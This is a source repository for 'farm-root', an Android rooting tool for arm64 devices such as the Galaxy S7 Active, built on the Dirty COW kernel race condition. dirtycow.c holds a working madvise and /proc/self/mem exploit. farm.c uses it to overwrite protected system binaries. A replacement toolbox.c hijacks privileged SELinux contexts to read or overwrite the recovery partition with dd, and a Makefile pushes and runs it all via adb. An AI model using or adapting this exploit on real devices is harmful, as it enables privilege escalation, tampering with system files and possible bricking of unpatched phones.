├── toolbox_pull ├── toolbox_push ├── toolbox_pull_boot ├── .gitignore ├── README.md ├── farm.c ├── shared.h ├── till ├── Android.mk ├── bridge.c ├── Makefile ├── shared.c ├── dirtycow.c └── toolbox.c /toolbox_pull: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/freddierice/farm-root/HEAD/toolbox_pull -------------------------------------------------------------------------------- /toolbox_push: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/freddierice/farm-root/HEAD/toolbox_push -------------------------------------------------------------------------------- /toolbox_pull_boot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/freddierice/farm-root/HEAD/toolbox_pull_boot -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Object files 2 | *.o 3 | *.ko 4 | *.obj 5 | *.elf 6 | 7 | # Precompiled Headers 8 | *.gch 9 | *.pch 10 | 11 | # Libraries 12 | *.lib 13 | *.a 14 | *.la 15 | *.lo 16 | 17 | # Shared objects (inc. Windows DLLs) 18 | *.dll 19 | *.so 20 | *.so.* 21 | *.dylib 22 | 23 | # Executables 24 | *.exe 25 | *.out 26 | *.app 27 | *.i*86 28 | *.x86_64 29 | *.hex 30 | 31 | # Debug files 32 | *.dSYM/ 33 | *.su 34 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Farm Root 2 | Farm root is a rooting utility for android devices using the dirty cow vulnerability. 3 | 4 | ## Support 5 | * Right now it doesn't have support for easy mode root, just pulling and pushing images. 6 | * only tested on galaxy s7 active 7 | * only works for arm64v8 8 | 9 | ## Showing the status 10 | ```bash 11 | make log 12 | ``` 13 | 14 | ## Pulling an image 15 | ```bash 16 | make pull 17 | ``` 18 | 19 | ## Pushing an image (flashing) 20 | Place the image you want to flash in the root directory with the name `recovery_push.img`. This is a really dangerous function. Only do this if you know what you are doing. 21 | ```bash 22 | make push 23 | ``` 24 | 25 | ## Pulling a boot image 26 | ```bash 27 | make pull_boot 28 | ``` 29 | 30 | ## Notes 31 | If the log gets stuck here 32 | ``` 33 | farm-root: [*] waiting for process to finish 34 | ``` 35 | try to get system-server to run a toolbox command. (turning lockscreen on and off seems to work for galaxy s7 active). 36 | 37 | ## TODO 38 | * fix for armeabi? doesn't seem to work for this architecture right now. 39 | * use dirty cow to flash boot img 40 | 41 | ## Help/Sources 42 | * https://github.com/timwr/CVE-2016-5195 for dirtycow exploit. 43 | * https://github.com/jcadduono/android_external_dirtycow for some SELinux context ideas 44 | 45 | -------------------------------------------------------------------------------- /farm.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #include "shared.h" 6 | 7 | // dirtycow.c 8 | int dirtycow(const char *dst, const char *src); 9 | 10 | int main(int argc, const char *argv[]) { 11 | LOGV("[*] farm-root started"); 12 | rsf_unset(RSF_ALL_DONE); 13 | 14 | LOGV("[*] building a bridge"); 15 | if( dirtycow("/system/bin/dumpstate", "/data/local/tmp/bridge") ) { 16 | LOGV("ERROR: could not overwrite /system/bin/dumpstate"); 17 | return 1; 18 | } 19 | 20 | LOGV("[*] starting the bridge"); 21 | if(!fork()) { 22 | const char *args[] = {"/system/bin/setprop", "ctl.start", "dumpstate", 0}; 23 | if( execv(args[0], (char *const *)args) ) { 24 | LOGV("ERROR running setprop"); 25 | return 0; 26 | } 27 | } 28 | 29 | LOGV("[*] putting a till back in the shed"); 30 | if( dirtycow("/system/bin/applypatch", "/data/local/tmp/till") ) { 31 | LOGV("ERROR: could not overwrite /system/bin/applypatch"); 32 | return 1; 33 | } 34 | 35 | LOGV("[*] overwriting the toolbox"); 36 | if( dirtycow("/system/bin/toolbox", "/data/local/tmp/toolbox") ) { 37 | LOGV("too much of a mess"); 38 | return 1; 39 | } 40 | 41 | LOGV("[*] waiting for process to finish"); 42 | while(!rsf_check(RSF_ALL_DONE)) sleep(1); 43 | 44 | LOGV("[*] done!"); 45 | 46 | return 0; 47 | } 48 | -------------------------------------------------------------------------------- /shared.h: -------------------------------------------------------------------------------- 1 | #ifndef __SHARED_H__ 2 | #define __SHARED_H__ 3 | 4 | #include 5 | 6 | // recovery status files 7 | extern const char *RSF_DISK_TO_CACHE_WORKING; 8 | extern const char *RSF_DISK_TO_CACHE_DONE; 9 | extern const char *RSF_CACHE_TO_DISK_WORKING; 10 | extern const char *RSF_CACHE_TO_DISK_DONE; 11 | extern const char *RSF_DATA_TO_CACHE_WORKING; 12 | extern const char *RSF_DATA_TO_CACHE_DONE; 13 | extern const char *RSF_CACHE_TO_DATA_WORKING; 14 | extern const char *RSF_CACHE_TO_DATA_DONE; 15 | extern const char *RSF_ALL_DONE; 16 | 17 | // recovery files 18 | extern const char *DISK_RECOVERY_IMG; 19 | extern const char *CACHE_PULL_RECOVERY_IMG; 20 | extern const char *CACHE_PUSH_RECOVERY_IMG; 21 | extern const char *DATA_PULL_RECOVERY_IMG; 22 | extern const char *DATA_PUSH_RECOVERY_IMG; 23 | 24 | // returns 1 if set, or 0 if it exists. 25 | int rsf_set(const char *file); 26 | 27 | // returns 1 if exists, or 0 if it does not exist 28 | int rsf_check(const char *file); 29 | 30 | // returns 0 on success, other on failure 31 | int rsf_unset(const char *file); 32 | 33 | // returns 0 on success, other on failure 34 | int copy(const char *dst, const char *src); 35 | 36 | // log info 37 | #define LOGV(...) { __android_log_print(ANDROID_LOG_INFO, "farm-root", __VA_ARGS__); } 38 | 39 | // log notice 40 | #define LOGN(x) { __android_log_print(ANDROID_LOG_INFO, "farm-root", "NOTICE: %s", (x)); } 41 | #endif 42 | -------------------------------------------------------------------------------- /till: -------------------------------------------------------------------------------- 1 | #!/system/bin/sh 2 | 3 | ## These are some comments to fill up space that would otherwise be used 4 | ## in this file. Since I am one for the classics, I will fill the rest of 5 | ## the empty space with lorem ipsum.. please enjoy. 6 | 7 | ## Lorem ipsum dolor sit amet, id sea nostrud inimicus, nec in feugiat 8 | ## accusata. Mei no everti dignissim percipitur. Cu cum ludus intellegebat. 9 | ## Vix in vocent audiam. Eu dolorum fabellas disputationi qui, vim at ullum 10 | ## omittantur instructior. Has tempor quaeque ut, ex iusto populo omittantur 11 | ## nec, tacimates inimicus scripserit in usu. 12 | 13 | ## Ad unum paulo qui, bonorum invidunt mea an. Delicata comprehensam eu mei, 14 | ## nam ex homero malorum, tale constituam ex vel. Nulla conceptam in vim. 15 | ## Quaeque delectus consulatu eu eos, duo id diam commodo, est quando 16 | ## pertinacia signiferumque ei. Ut definiebas vituperata pro, eu sed habeo 17 | ## tacimates. 18 | 19 | ## Minim sapientem vel id, perfecto repudiare ne nam, quo ipsum omnesque 20 | ## pericula ea. Ne facer gloriatur vix. An dicit timeam sea, ea eam civibus 21 | ## nostrum elaboraret. Facer discere mel in. Vel at albucius senserit, cu 22 | ## tempor recusabo sea. 23 | 24 | ## Nec solum ridens sapientem an. Ut duis minimum conceptam has. No duo esse 25 | ## dicta commodo. At qui admodum apeirian, ad percipit disputando omittantur 26 | ## vim. 27 | 28 | # trigger the toolbox 29 | /system/bin/ls 30 | 31 | -------------------------------------------------------------------------------- /Android.mk: -------------------------------------------------------------------------------- 1 | LOCAL_PATH := $(call my-dir) 2 | 3 | include $(CLEAR_VARS) 4 | 5 | LOCAL_SRC_FILES := \ 6 | dirtycow.c \ 7 | shared.c \ 8 | farm.c 9 | 10 | LOCAL_MODULE := farm 11 | LOCAL_LDFLAGS += -llog 12 | LOCAL_CFLAGS += -fPIE 13 | LOCAL_LDFLAGS += -fPIE -pie 14 | LOCAL_C_INCLUDES += $(ANDROID_NDK_HOME)/platforms/android-23/arch-arm/usr/include 15 | 16 | include $(BUILD_EXECUTABLE) 17 | 18 | include $(CLEAR_VARS) 19 | 20 | LOCAL_SRC_FILES := \ 21 | bridge.c \ 22 | shared.c 23 | 24 | LOCAL_MODULE := bridge_pull 25 | LOCAL_CFLAGS += -fPIE -DFARM_PULL 26 | LOCAL_LDFLAGS += -fPIE -pie -llog 27 | LOCAL_C_INCLUDES += $(ANDROID_NDK_HOME)/platforms/android-23/arch-arm/usr/include 28 | 29 | include $(BUILD_EXECUTABLE) 30 | 31 | include $(CLEAR_VARS) 32 | LOCAL_SRC_FILES := \ 33 | bridge.c \ 34 | shared.c 35 | 36 | LOCAL_MODULE := bridge_pull_boot 37 | LOCAL_CFLAGS += -fPIE -DFARM_PULL -DFARM_BOOT 38 | LOCAL_LDFLAGS += -fPIE -pie -llog 39 | LOCAL_C_INCLUDES += $(ANDROID_NDK_HOME)/platforms/android-23/arch-arm/usr/include 40 | 41 | include $(BUILD_EXECUTABLE) 42 | 43 | include $(CLEAR_VARS) 44 | 45 | LOCAL_SRC_FILES := \ 46 | bridge.c \ 47 | shared.c 48 | 49 | LOCAL_MODULE := bridge_push 50 | LOCAL_CFLAGS += -fPIE -DFARM_PUSH 51 | LOCAL_LDFLAGS += -fPIE -pie -llog 52 | LOCAL_C_INCLUDES += $(ANDROID_NDK_HOME)/platforms/android-23/arch-arm/usr/include 53 | 54 | include $(BUILD_EXECUTABLE) 55 | 56 | include $(CLEAR_VARS) 57 | -------------------------------------------------------------------------------- /bridge.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | 17 | #include "shared.h" 18 | 19 | int main(int argc, const char *argv[]) { 20 | int fd; 21 | 22 | #ifdef FARM_PULL 23 | if( rsf_set(RSF_CACHE_TO_DATA_WORKING) ) { 24 | LOGV("[*] bridge started"); 25 | 26 | // spin while the recovery copy has not finished 27 | while(!rsf_check(RSF_DISK_TO_CACHE_DONE)) sleep(1); 28 | 29 | LOGV("[*] bridge copying image"); 30 | if( copy(DATA_PULL_RECOVERY_IMG, CACHE_PULL_RECOVERY_IMG) ) { 31 | LOGV("ERROR: could not copy %s to %s", CACHE_PULL_RECOVERY_IMG, DATA_PULL_RECOVERY_IMG); 32 | return 0; 33 | } 34 | 35 | LOGV("[*] bridge done"); 36 | rsf_set(RSF_CACHE_TO_DATA_DONE); 37 | rsf_set(RSF_ALL_DONE); 38 | } 39 | #else 40 | if( rsf_set(RSF_DATA_TO_CACHE_WORKING) ) { 41 | LOGV("[*] bridge started"); 42 | LOGV("[*] bridge copying image"); 43 | if( copy(CACHE_PUSH_RECOVERY_IMG, DATA_PUSH_RECOVERY_IMG) ) { 44 | LOGV("ERROR: could not copy %s to %s", DATA_PUSH_RECOVERY_IMG, CACHE_PUSH_RECOVERY_IMG); 45 | return 0; 46 | } 47 | 48 | LOGV("[*] bridge done"); 49 | rsf_set(RSF_DATA_TO_CACHE_DONE); 50 | 51 | // wait to let main thread know that the recovery push is complete 52 | while(!rsf_check(RSF_CACHE_TO_DISK_DONE)) sleep(1); 53 | 54 | rsf_set(RSF_ALL_DONE); 55 | } 56 | #endif 57 | 58 | return 0; 59 | } 60 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | all: build 2 | 3 | build: 4 | ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk 5 | 6 | log: 7 | adb logcat | grep -a farm-root 8 | 9 | pull_boot: build 10 | adb push toolbox_pull_boot /data/local/tmp/toolbox 11 | adb push libs/arm64-v8a/farm /data/local/tmp/farm 12 | adb push till /data/local/tmp/till 13 | adb push libs/arm64-v8a/bridge_pull_boot /data/local/tmp/bridge 14 | adb shell chmod 0777 /data/local/tmp/bridge /data/local/tmp/till /data/local/tmp/farm /data/local/tmp/toolbox 15 | adb shell /data/local/tmp/farm 16 | adb pull /data/local/tmp/boot_pull.img 17 | adb reboot 18 | 19 | 20 | pull: build 21 | adb push toolbox_pull /data/local/tmp/toolbox 22 | adb push libs/arm64-v8a/farm /data/local/tmp/farm 23 | adb push till /data/local/tmp/till 24 | adb push libs/arm64-v8a/bridge_pull /data/local/tmp/bridge 25 | adb shell chmod 0777 /data/local/tmp/bridge /data/local/tmp/till /data/local/tmp/farm /data/local/tmp/toolbox 26 | adb shell /data/local/tmp/farm 27 | adb pull /data/local/tmp/recovery_pull.img 28 | adb reboot 29 | 30 | push: build recovery_push.img 31 | adb push recovery_push.img /data/local/tmp/recovery_push.img 32 | adb push toolbox_push /data/local/tmp/toolbox 33 | adb push libs/arm64-v8a/farm /data/local/tmp/farm 34 | adb push till /data/local/tmp/till 35 | adb push libs/arm64-v8a/bridge_push /data/local/tmp/bridge 36 | adb shell chmod 0777 /data/local/tmp/bridge /data/local/tmp/till /data/local/tmp/farm /data/local/tmp/toolbox /data/local/tmp/recovery_push.img 37 | adb shell /data/local/tmp/farm 38 | adb reboot 39 | 40 | recovery_push.img: 41 | @echo "place recovery_push.img in the farm-root directory" 42 | 43 | clean: 44 | rm -rf libs 45 | rm -rf obj 46 | 47 | -------------------------------------------------------------------------------- /shared.c: -------------------------------------------------------------------------------- 1 | #include "shared.h" 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | const char *RSF_DISK_TO_CACHE_WORKING = "/cache/recovery/.disk_to_cache_working"; 9 | const char *RSF_DISK_TO_CACHE_DONE = "/cache/recovery/.disk_to_cache_done"; 10 | const char *RSF_CACHE_TO_DISK_WORKING = "/cache/recovery/.cache_to_disk_working"; 11 | const char *RSF_CACHE_TO_DISK_DONE = "/cache/recovery/.cache_to_disk_done"; 12 | const char *RSF_DATA_TO_CACHE_WORKING = "/cache/recovery/.data_to_cache_working"; 13 | const char *RSF_DATA_TO_CACHE_DONE = "/cache/recovery/.data_to_cache_done"; 14 | const char *RSF_CACHE_TO_DATA_WORKING = "/cache/recovery/.cache_to_data_working"; 15 | const char *RSF_CACHE_TO_DATA_DONE = "/cache/recovery/.cache_to_data_done"; 16 | const char *RSF_ALL_DONE = "/data/local/tmp/.farm_done"; 17 | 18 | // recovery files 19 | #ifdef FARM_BOOT 20 | const char *DISK_RECOVERY_IMG = "/dev/block/bootdevice/by-name/recovery"; 21 | const char *CACHE_PULL_RECOVERY_IMG = "/cache/recovery/boot_pull.img"; 22 | const char *CACHE_PUSH_RECOVERY_IMG = "/cache/recovery/boot_push.img"; 23 | const char *DATA_PULL_RECOVERY_IMG = "/data/local/tmp/boot_pull.img"; 24 | const char *DATA_PUSH_RECOVERY_IMG = "/data/local/tmp/boot_push.img"; 25 | #else 26 | const char *DISK_RECOVERY_IMG = "/dev/block/bootdevice/by-name/recovery"; 27 | const char *CACHE_PULL_RECOVERY_IMG = "/cache/recovery/recovery_pull.img"; 28 | const char *CACHE_PUSH_RECOVERY_IMG = "/cache/recovery/recovery_push.img"; 29 | const char *DATA_PULL_RECOVERY_IMG = "/data/local/tmp/recovery_pull.img"; 30 | const char *DATA_PUSH_RECOVERY_IMG = "/data/local/tmp/recovery_push.img"; 31 | #endif 32 | 33 | 34 | int rsf_check(const char *file) { 35 | int fd; 36 | if( (fd = open(file, O_RDONLY)) == -1 ) { 37 | return 0; 38 | } 39 | close(fd); 40 | return 1; 41 | } 42 | 43 | int rsf_set(const char *file) { 44 | int fd; 45 | 46 | if(rsf_check(file)) 47 | return 0; 48 | 49 | if( (fd = open(file, O_WRONLY | O_TRUNC | O_CREAT, 0777)) == -1 ) 50 | return 0; 51 | close(fd); 52 | 53 | chmod(file, 0777); 54 | return 1; 55 | } 56 | 57 | int rsf_unset(const char *file) { 58 | return unlink(file); 59 | } 60 | 61 | int copy(const char *dst, const char *src) { 62 | int dst_fd, src_fd; 63 | size_t src_len; 64 | ssize_t total; 65 | 66 | // open files 67 | dst_fd = open(dst, O_WRONLY | O_TRUNC | O_CREAT, 0777); 68 | src_fd = open(src, O_RDONLY); 69 | 70 | // check for open errors 71 | if( dst_fd == -1 || src_fd == -1 ) { 72 | if( dst_fd != -1 ) 73 | close(dst_fd); 74 | if( src_fd != -1 ) 75 | close(src_fd); 76 | return -1; 77 | } 78 | 79 | // get src_len 80 | if( (src_len = (size_t) lseek(src_fd, 0, SEEK_END)) == (size_t)-1 ) { 81 | close(src_fd); close(dst_fd); 82 | return -1; 83 | } 84 | lseek(src_fd, 0, SEEK_SET); 85 | 86 | // lazy copy file 87 | total = sendfile(dst_fd, src_fd, NULL, src_len); 88 | close(dst_fd); 89 | close(src_fd); 90 | 91 | chmod(dst, 0701); 92 | chmod(dst, 0702); 93 | chmod(dst, 0703); 94 | chmod(dst, 0704); 95 | chmod(dst, 0705); 96 | chmod(dst, 0706); 97 | chmod(dst, 0707); 98 | 99 | // return 0 on success 100 | return total != (ssize_t)src_len; 101 | } 102 | -------------------------------------------------------------------------------- /dirtycow.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | 16 | #include "shared.h" 17 | 18 | 19 | #define LOOP 0x100000 20 | 21 | #ifndef PAGE_SIZE 22 | #define PAGE_SIZE 4096 23 | #endif 24 | 25 | struct mem_arg { 26 | unsigned char *offset; 27 | unsigned char *patch; 28 | size_t patch_size; 29 | }; 30 | 31 | static void *madviseThread(void *arg) 32 | { 33 | struct mem_arg *mem_arg; 34 | size_t size; 35 | void *addr; 36 | int i, c = 0; 37 | 38 | mem_arg = (struct mem_arg *)arg; 39 | /*addr = (void *)((off_t)mem_arg->offset & (~(PAGE_SIZE - 1)));*/ 40 | /*size = mem_arg->offset - (unsigned long)addr;*/ 41 | /*size = mem_arg->patch_size + (mem_arg->offset - addr);*/ 42 | size = mem_arg->patch_size; 43 | addr = (void *)(mem_arg->offset); 44 | 45 | for(i = 0; i < LOOP; i++) { 46 | c += madvise(addr, size, MADV_DONTNEED); 47 | } 48 | 49 | return 0; 50 | } 51 | 52 | static void *procselfmemThread(void *arg) 53 | { 54 | struct mem_arg *mem_arg; 55 | int fd, i, c = 0; 56 | unsigned char *p; 57 | 58 | mem_arg = (struct mem_arg *)arg; 59 | p = mem_arg->patch; 60 | 61 | fd = open("/proc/self/mem", O_RDWR); 62 | if (fd == -1) 63 | LOGN("open(\"/proc/self/mem\""); 64 | 65 | for (i = 0; i < LOOP; i++) { 66 | lseek(fd, (off_t)mem_arg->offset, SEEK_SET); 67 | c += write(fd, p, mem_arg->patch_size); 68 | } 69 | 70 | close(fd); 71 | 72 | return NULL; 73 | } 74 | 75 | int dirtycow(const char *dst, const char *src) { 76 | 77 | struct mem_arg mem_arg; 78 | struct stat st; 79 | struct stat st2; 80 | 81 | int f=open(dst,O_RDONLY); 82 | if (f == -1) { 83 | LOGV("ERROR: could not open %s", dst); 84 | return -1; 85 | } 86 | if (fstat(f,&st) == -1) { 87 | LOGV("ERROR: could not open %s", dst); 88 | return -1; 89 | } 90 | 91 | int f2=open(src,O_RDONLY); 92 | if (f2 == -1) { 93 | LOGV("ERROR: could not open %s", src); 94 | return -1; 95 | } 96 | if (fstat(f2,&st2) == -1) { 97 | LOGV("ERROR: could not open %s", src); 98 | return -1; 99 | } 100 | 101 | size_t size = st.st_size; 102 | if (st2.st_size != st.st_size) { 103 | if (st2.st_size > size) { 104 | size = st2.st_size; 105 | } 106 | } 107 | 108 | mem_arg.patch = malloc(size); 109 | if (mem_arg.patch == NULL) 110 | LOGN("malloc"); 111 | 112 | memset(mem_arg.patch, 0, size); 113 | 114 | read(f2, mem_arg.patch, st2.st_size); 115 | close(f2); 116 | 117 | mem_arg.patch_size = size; 118 | 119 | void * map = mmap(NULL, size, PROT_READ, MAP_PRIVATE, f, 0); 120 | if (map == MAP_FAILED) { 121 | LOGN("mmap"); 122 | return -1; 123 | } 124 | 125 | mem_arg.offset = map; 126 | 127 | // run the exploit 128 | pthread_t pth1, pth2; 129 | 130 | //LOGV("[*] dirtycow overwriting %s with %s", dst, src); 131 | pthread_create(&pth1, NULL, madviseThread, &mem_arg); 132 | pthread_create(&pth2, NULL, procselfmemThread, &mem_arg); 133 | 134 | pthread_join(pth1, NULL); 135 | pthread_join(pth2, NULL); 136 | 137 | close(f); 138 | 139 | //LOGV("[*] dirtycow complete"); 140 | return 0; 141 | } 142 | -------------------------------------------------------------------------------- /toolbox.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | #include "shared.h" 16 | 17 | // #define FARM_PULL 1 18 | 19 | int main(int, char **); 20 | 21 | static int toolbox_main(int argc, char **argv) 22 | { 23 | // "toolbox foo ..." is equivalent to "foo ..." 24 | if (argc > 1) { 25 | return main(argc - 1, argv + 1); 26 | } else { 27 | printf("Toolbox!\n"); 28 | return 0; 29 | } 30 | } 31 | 32 | #define TOOL(name) int name##_main(int, char**); 33 | #include "tools.h" 34 | #undef TOOL 35 | 36 | static struct 37 | { 38 | const char *name; 39 | int (*func)(int, char**); 40 | } tools[] = { 41 | { "toolbox", toolbox_main }, 42 | #define TOOL(name) { #name, name##_main }, 43 | #include "tools.h" 44 | #undef TOOL 45 | { 0, 0 }, 46 | }; 47 | 48 | static void SIGPIPE_handler(int signal) { 49 | // Those desktop Linux tools that catch SIGPIPE seem to agree that it's 50 | // a successful way to exit, not a failure. (Which makes sense --- we were 51 | // told to stop by a reader, rather than failing to continue ourselves.) 52 | _exit(0); 53 | } 54 | 55 | int main(int argc, char **argv) 56 | { 57 | int i; 58 | char *currcon; 59 | char *name = argv[0]; 60 | 61 | // contexts 62 | const char *SERVER_CONTEXT = "u:r:system_server:s0"; 63 | const char *INSTALL_CONTEXT = "u:r:install_recovery:s0"; 64 | 65 | // only run SERVER_CONTEXT once 66 | const char *RSF_TOOLBOX = "/cache/recovery/.toolbox"; 67 | 68 | getcon(&currcon); 69 | LOGV("[+] toolbox running %s as uid: %d, gid: %d, context %s", argv[0], getuid(), getgid(), currcon); 70 | 71 | if( !strcmp(SERVER_CONTEXT, currcon) && rsf_set(RSF_TOOLBOX) ) { 72 | LOGV("[*] toolbox launching install context"); 73 | property_set("ctl.start", "flash_recovery"); 74 | #ifdef FARM_PULL 75 | }else if( !strcmp(INSTALL_CONTEXT, currcon) && rsf_set(RSF_DISK_TO_CACHE_WORKING) ) { 76 | LOGV("[*] toolbox pulling recovery"); 77 | if(!fork()) { // lazy, but effective. 78 | const char *args[] = {"/system/bin/dd", "if=/dev/block/bootdevice/by-name/recovery", "of=/cache/recovery/recovery_pull.img", "bs=10m", 0}; 79 | execv(args[0], (char * const*)args); 80 | } 81 | waitpid(-1, NULL, 0); 82 | LOGV("[*] toolbox done copying"); 83 | rsf_set(RSF_DISK_TO_CACHE_DONE); 84 | } 85 | #else 86 | }else if( !strcmp(INSTALL_CONTEXT, currcon) && rsf_set(RSF_CACHE_TO_DISK_WORKING) ) { 87 | LOGV("[*] toolbox pushing recovery"); 88 | if(!fork()) { // lazy, but effective. 89 | const char *args[] = {"/system/bin/dd", "if=/cache/recovery/recovery_push.img", "of=/dev/block/bootdevice/by-name/recovery", "bs=10m", 0}; 90 | execv(args[0], (char * const*)args); 91 | } 92 | waitpid(-1, NULL, 0); 93 | LOGV("[*] toolbox done copying"); 94 | rsf_set(RSF_CACHE_TO_DISK_DONE); 95 | } 96 | #endif 97 | 98 | 99 | leave_hack: 100 | free(currcon); 101 | 102 | // Let's assume that none of this code handles broken pipes. At least ls, 103 | // ps, and top were broken (though I'd previously added this fix locally 104 | // to top). We exit rather than use SIG_IGN because tools like top will 105 | // just keep on writing to nowhere forever if we don't stop them. 106 | signal(SIGPIPE, SIGPIPE_handler); 107 | 108 | if((argc > 1) && (argv[1][0] == '@')) { 109 | name = argv[1] + 1; 110 | argc--; 111 | argv++; 112 | } else { 113 | char *cmd = strrchr(argv[0], '/'); 114 | if (cmd) 115 | name = cmd + 1; 116 | } 117 | 118 | for(i = 0; tools[i].name; i++){ 119 | if(!strcmp(tools[i].name, name)){ 120 | return tools[i].func(argc, argv); 121 | } 122 | } 123 | 124 | printf("%s: no such tool\n", argv[0]); 125 | return -1; 126 | } 127 | --------------------------------------------------------------------------------